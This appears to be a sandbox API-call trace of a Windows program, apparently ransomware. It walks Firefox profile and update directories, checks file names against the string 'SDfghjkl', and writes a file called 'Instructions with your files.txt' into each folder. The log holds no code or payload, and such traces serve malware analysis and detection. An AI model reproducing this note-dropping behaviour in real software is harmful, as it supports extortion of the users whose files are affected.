[0130.794] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.794] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.794] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.794] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.794] CloseHandle (hObject=0x124) returned 1
[0130.794] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.794] GetProcessHeap () returned 0x810000
[0130.794] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.794] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853a9e10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 1
[0130.794] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_") returned 103
[0130.794] StrStrIW (lpFirst="_CACHE_CLEAN_", lpSrch="SDfghjkl") returned 0x0
[0130.794] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853a9e10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 0
[0130.794] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Instructions with your files.txt") returned 122
[0130.794] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.795] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.796] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.796] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.796] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.796] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.796] CloseHandle (hObject=0x120) returned 1
[0130.796] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.796] GetProcessHeap () returned 0x810000
[0130.796] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.796] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0
[0130.796] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\Instructions with your files.txt") returned 105
[0130.796] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.797] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.797] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.797] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.798] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.798] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.798] CloseHandle (hObject=0x11c) returned 1
[0130.798] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.798] GetProcessHeap () returned 0x810000
[0130.798] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.800] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
[0130.800] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Instructions with your files.txt") returned 96
[0130.800] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.800] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.801] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.801] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.801] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.801] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.801] CloseHandle (hObject=0x118) returned 1
[0130.801] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.801] GetProcessHeap () returned 0x810000
[0130.801] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.802] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1
[0130.802] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates") returned 63
[0130.802] GetProcessHeap () returned 0x810000
[0130.802] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.802] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\*") returned 65
[0130.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.802] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\.") returned 65
[0130.802] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.802] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\..") returned 66
[0130.802] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E7CF176E110C211B", cAlternateFileName="E7CF17~1")) returned 1
[0130.802] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B") returned 80
[0130.802] GetProcessHeap () returned 0x810000
[0130.802] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.802] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*") returned 82
[0130.803] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.805] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\.") returned 82
[0130.805] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.805] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\..") returned 83
[0130.805] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a2b6d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-update.xml", cAlternateFileName="ACTIVE~1.XML")) returned 1
[0130.805] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml") returned 98
[0130.805] StrStrIW (lpFirst="active-update.xml", lpSrch="SDfghjkl") returned 0x0
[0130.805] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1
[0130.805] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates") returned 88
[0130.805] GetProcessHeap () returned 0x810000
[0130.805] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.806] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*") returned 90
[0130.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.807] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\.") returned 90
[0130.807] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.807] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\..") returned 91
[0130.807] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1
[0130.807] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0") returned 90
[0130.807] GetProcessHeap () returned 0x810000
[0130.807] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.808] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*") returned 92
[0130.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.808] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\.") returned 92
[0130.808] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.808] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\..") returned 93
[0130.809] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x818016b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x927c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="update.mar", cAlternateFileName="")) returned 1
[0130.809] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar") returned 101
[0130.809] StrStrIW (lpFirst="update.mar", lpSrch="SDfghjkl") returned 0x0
[0130.809] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80993150, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80993150, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80993150, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc, dwReserved0=0x0, dwReserved1=0x0, cFileName="update.status", cAlternateFileName="UPDATE~1.STA")) returned 1
[0130.809] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status") returned 104
[0130.809] StrStrIW (lpFirst="update.status", lpSrch="SDfghjkl") returned 0x0
[0130.809] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80993150, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80993150, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80993150, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc, dwReserved0=0x0, dwReserved1=0x0, cFileName="update.status", cAlternateFileName="UPDATE~1.STA")) returned 0
[0130.809] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\Instructions with your files.txt") returned 123
[0130.809] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.809] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
